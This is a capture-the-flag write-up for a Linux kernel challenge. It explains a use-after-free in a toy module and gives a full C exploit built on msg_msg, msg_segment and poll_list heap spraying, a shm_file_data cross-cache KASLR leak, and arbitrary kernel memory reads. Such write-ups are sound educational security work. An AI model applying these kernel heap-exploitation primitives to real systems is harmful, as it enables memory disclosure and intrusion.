BackdoorCTF
Kuwu🥇

Description
A simple little kernel challenge
Note: No brute-force is required for this challenge
nc 34.42.147.172 4005
Author: p0ch1ta
Analysis
we're given the following files:
└──╼ [★]$ tree .
.
├── bzImage
├── config
├── initramfs.cpio
└── run.sh
inside the filesystem, we can find the challenge kernel module, the module is really small and consist only of ioctl, roughly as follows
int global_chunk = 0;
char flag[] = "flag{____}"
void module_ioctl(int fd,int cmd, char* args)
{
long allocated_chunk;
long lVar2;
long tmp;
mutex_lock(&g_mutex);
tmp = global_chunk;
if (cmd == 0x13370001) {
if (
(
(global_chunk == 0) &&
(allocated_chunk = kmalloc_trace_noprof(_DAT_001010a8,0x400cc0,0x1000),
tmp = global_chunk,
allocated_chunk != 0)
) &&
(
lVar2 = _copy_from_user(allocated_chunk,args,0x1000),
tmp = allocated_chunk,
lVar2 != 0
)
) {
kfree(allocated_chunk);
tmp = global_chunk;
}
}
else if (cmd == 0x13370002) {
kfree(global_chunk);
tmp = global_chunk;
}
global_chunk = tmp;
mutex_unlock(&g_mutex);
__x86_return_thunk();
return;
}
in essence, we can allocate a chunk once of page size and then free that chunk as we wish throughout the exploit since the pointer is not nullified.
with this we have an UAF with somewhat arbitrary free of a single chunk
below is the qemu run script
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-kernel bzImage \
-initrd initramfs.cpio \
-append "console=ttyS0 loglevel=3 oops=panic panic=1 pti=off kaslr quiet" \
-cpu qemu64,+smep \
-monitor /dev/null \
-nographic \
-no-reboot -s
Exploitation
overview
first, lets initialize the UAF
ioctl_alloc(buffer);
ioctl_free();
then we can we can spray msg_msg
to recycle the chunk
#define KOBJ_SIZE 0x1000
#define MSG_SIZE (KOBJ_SIZE - 0x30)
#define EGG 0x4141414141414100
char buffer[0x2000];
for(int i = 0; i < SPRAY_WIDTH; i++) {
msqid[i] = create_msg_queue();
((u64 *)buffer)[0] = EGG + i;
send_msg(msqid[i], MSG_SIZE, buffer);
}
_pause_("msg_msg sprayed [1]");
as shown below, our global_chunk
now contains:

now at this point, there's some things to note:
the flag is not stored in the filesystem, our goal is not to gain LPE
since the flag is stored in memory, we need an arbitrary read primitive
to gain arbitrary read primitive, we can utilize UAF on msg_msg
to corrupt its content to be the following
{
m_list = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
m_type = 0,
m_ts = 8,
next = <read_addr>,
security = <heap_addr>
}
however with msg_msg
we only have partial overwrite at offset +0x30 and as such we're not able to edit its headers.
to gain more partial overwrite, we can utilize msg_segment
which able to control the data at offset +0x8.
to do this, we need to free it once more, and spray it with msg of size bigger than a page
ioctl_free();
for(int i = SPRAY_WIDTH; i < SPRAY_WIDTH*2; i++) {
msqid[i] = create_msg_queue();
memset(buffer, i, sizeof(buffer));
send_msg(msqid[i], MSG_SIZE+0x1000-0x18, buffer);
}
_pause_("msg_msg sprayed [2]");
and as we can see below, the chunk now filled with the segment section.

with this, we're able to corrupt the msg_msg
headers and craft our own msg_msg
.
however this is not enough to immidiately read the flag, since kaslr is enabled we need some sort of leak, but without copy_to_user()
how are we able to gain leaks?
Failed Leak Attempt
before moving on to the leak method that I use, I wanted to discuss some of the failed attempts to better understand the constraint that we have.
first, some diagram to understand what we currently have:

my first thought is that since we have arbitrary free on the red chunk, we can free it and allocate another object on it that potentially has kernel addresses.
if that's possible we can then peek at said msg_msg
and we'll also read the msg_segment
region thus leak the addresses.
however this comes with certain constraints:
the object has to be size of kmalloc-4k
the first 8 byte of the object has to be null, or valid address if the segment is more than 2 pages (essentially forming a valid linked list)
I tried msg_msg
since it has heap addresses on it, however the first 8 byte is not null and the kernel panics when I tried to peek from it.
I also tried to construct the msg_segment
to be more than 2 pages such that *next is linked suitable for msg_msg
as its first 8 byte is an address, however this also results in kernel panic.
I then tried to look for other kernel objects that satisfy the constraints but found nothing.
next, I tried to free the segment before peeking to leak the freelist pointer, but hardened freelist is enabled (I didn't read the compile config lol)
Cross Cache Leak
the idea of this came from a blog that my teammate shares

I suggest you to read the whole blog, but the gist of it that is relevant to the current exploit is the following:
so with the poll syscall, we're able to allocate user controlled sized kernel chunk. with 30 of its entries stored in the stack and the remaining in the said kernel allocated chunk with structure similar to that of msg_segment
with the first 8 byte is a pointer forming a singly linked list.
to allocate to its maximum size of 1 page, 510 entries is needed, any remaining entries will be allocated more and forming a singly linked list. for example to allocated a kmalloc-4k and kmalloc-0x20 chunk we can poll with 542 (30 + 510 + 2) entries.
another thing is that, the allocated chunk will be freed once it timeouts.
with this in mind, my idea is to construct a fake msg_segment
with poll_list
that links to a 0x20 cache, poll_list
will then be freed upon timeout, we can then spray objects of size 0x20 that contains addresses to leak, since the pointer to said 0x20 chunk is still intact in the fake msg_segment
we can peek at it, thus reading an active 0x20 chunk.
lets see this in action, first construct a two allocated msg_segment
as follow:

free the first segment, and then spray poll_list
to reused the chunk, we expected to have as below:

then we spray objects size 0x20, we have options such as seq_operations
and shm_file_data
, but seq_operations
wont work because of the constraint I mentioned earlier, the first 8 byte must be null.
shm_file_data
is also convenient as it has both kernel address and heap address, compared to seq_operations
that only has kernel address.
which I also referenced from this writeup
so we spray shm_file_data
and now our chunks will results in the following:

this can also be verified in gdb:

and thus as we peek from it, leaks are viable.
Final steps
with the address leaked, we can now perform arbitrary read using corrupted msg_msg
discussed in overview, but its turns out that the flag is stored in the modules addresses which is not continous to kernel .text

so before reading the flag, we need to leak the kernel module's base address, I just thought the mapping must be stored somewhere in kernel .text and it surely is

one last thing, as we perform arbitrary read, the msg_msg
will cast the address we're reading to msg_segment
this means, we also need to satisfy the first 8 byte to be null constraint to avoid kernel panic (considering the msg segment size is only 1 page).
so with arbitrary read, we will be reading slightly behind the target address that contains a null

here's the exploit being ran againts the remote server

here's the full exploit script:
#include "libpwn.c"
#define DEVICE "/dev/oneshot"
#define KALLOC 0x13370001
#define KFREE 0x13370002
#define SPRAY_WIDTH 30
#define KOBJ_SIZE 0x1000
#define MSG_SIZE (KOBJ_SIZE - 0x30)
#define MSG_TWO_SEGMENT_SIZE (MSG_SIZE+0x1000-0x8+0x20)
#define MSG_ONE_SEGMENT_SIZE (MSG_SIZE+0x1000-0x18)
#define POLL_NFDS 542
#define FLAG_ADDR (kmodule_base + (0x21c0))
#define EGG 0x4141414141414100
int fd;
u64 kmodule_base;
struct pollfd *pfds;
char buffer[0x2000];
int msqid[SPRAY_WIDTH*6];
void ioctl_alloc(char* data) {
if (ioctl(fd, KALLOC, data) < 0) {
error("ioctl_alloc");
}
}
void ioctl_free() {
if (ioctl(fd, KFREE, 0) < 0) {
error("ioctl_free");
}
}
void* alloc_poll() {
int ret = poll(pfds, POLL_NFDS, 3000);
}
int main() {
fd = open(DEVICE, O_RDWR);
if (fd < 0) {
panic("open");
}
// ===========================
// UAF -> ARB FREE
// ===========================
ioctl_alloc(buffer);
ioctl_free();
for(int i = 0; i < SPRAY_WIDTH; i++) {
msqid[i] = create_msg_queue();
((u64 *)buffer)[0] = EGG + i;
send_msg(msqid[i], MSG_SIZE, buffer);
}
_pause_("msg_msg sprayed [1]");
ioctl_free();
for(int i = SPRAY_WIDTH; i < SPRAY_WIDTH*2; i++) {
msqid[i] = create_msg_queue();
memset(buffer, i, sizeof(buffer));
send_msg(msqid[i], MSG_TWO_SEGMENT_SIZE, buffer);
}
_pause_("msg_msg sprayed [2]");
// ===========================
// SPRAY poll_list
// ===========================
ioctl_free();
pfds = calloc(POLL_NFDS, sizeof(struct pollfd));
for(int i = 0; i < POLL_NFDS; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
pthread_t t[SPRAY_WIDTH];
for(int i = 0; i < SPRAY_WIDTH; i++) {
pthread_create(&t[i], NULL, alloc_poll, NULL);
}
sleep(5); // wait for poll_list to be freed
_pause_("pollfd sprayed");
// ===========================
// SPRAY shm_file_data
// ===========================
int shmid = shmget(IPC_PRIVATE, 0x1000, 0600);
info2("shmid: %d", shmid);
for(int i = 0; i < 200; i++) {
assert(shmid >= 0);
void *addr = shmat(0, NULL, 0); // only shmid 0 because the first 8 bytes needs to be NULL
assert((long)addr >= 0);
}
_pause_("shmid sprayed");
// ===========================
// GAIN LEAK
// ===========================
char* leak = (char *) peek_msg(msqid[30], MSG_TWO_SEGMENT_SIZE);
// dump_hex(leak, MSG_SEGMENT_SIZE);
u64 heap = ((u64 *)leak)[1019];
kbase = ((u64 *)leak)[1020] - 0x121a6c0;
info2("heap", heap);
info2("kbase", kbase);
// ===========================
// LEAK KERNEL MODULE BASE
// ===========================
for(int i = SPRAY_WIDTH*2; i < SPRAY_WIDTH*3; i++) {
msqid[i] = create_msg_queue();
((u64 *)buffer)[0] = EGG + i;
send_msg(msqid[i], MSG_SIZE, buffer);
}
_pause_("msg_msg sprayed [3]");
ioctl_free();
memset(buffer, 0, sizeof(buffer));
u64 *payload = (u64 *)&buffer[MSG_SIZE];
for(int i = SPRAY_WIDTH*3; i < SPRAY_WIDTH*4; i++) {
msqid[i] = create_msg_queue();
payload[1] = 0x1;
payload[2] = 0xfd0+0x60;
payload[3] = kbase+0x180d0a0-0x8; // just a little behind to satisfy constraint *next is NULL
payload[4] = heap;
payload[5] = EGG + 0xff;
send_msg(msqid[i], MSG_ONE_SEGMENT_SIZE, buffer);
}
_pause_("msg_msg sprayed [4]");
leak = (char *) peek_msg(msqid[0], 0xfd0+0x60);
// dump_hex(leak, 0xfd0+0x60);
kmodule_base = ((u64 *)leak)[507];
// ===========================
// ARB READ FLAG
// ===========================
ioctl_free();
for(int i = SPRAY_WIDTH*4; i < SPRAY_WIDTH*5; i++) {
msqid[i] = create_msg_queue();
((u64 *)buffer)[0] = EGG + i;
send_msg(msqid[i], MSG_SIZE, buffer);
}
_pause_("msg_msg sprayed [5]");
ioctl_free();
memset(buffer, 0, sizeof(buffer));
payload = (u64 *)&buffer[MSG_SIZE];
for(int i = SPRAY_WIDTH*5; i < SPRAY_WIDTH*6; i++) {
msqid[i] = create_msg_queue();
payload[1] = 0x1;
payload[2] = 0xfd0+0x60;
payload[3] = FLAG_ADDR-0x20; // just a little behind to satisfy constraint *next is NULL
payload[4] = heap;
payload[5] = EGG + 0xff;
send_msg(msqid[i], MSG_ONE_SEGMENT_SIZE, buffer);
}
_pause_("msg_msg sprayed [6]");
leak = (char *) peek_msg(msqid[0], 0xfd0+0x60);
// dump_hex(leak, 0xfd0+0x60);
printf("[*] flag: %s\n", &leak[0xff0]);
_pause_("end of exploit...");
}
Flag: flag{4_m5g_4_d4y_w1ll_g1v3_y0u_th3_l34k5_r1ght_4w4y}
Last updated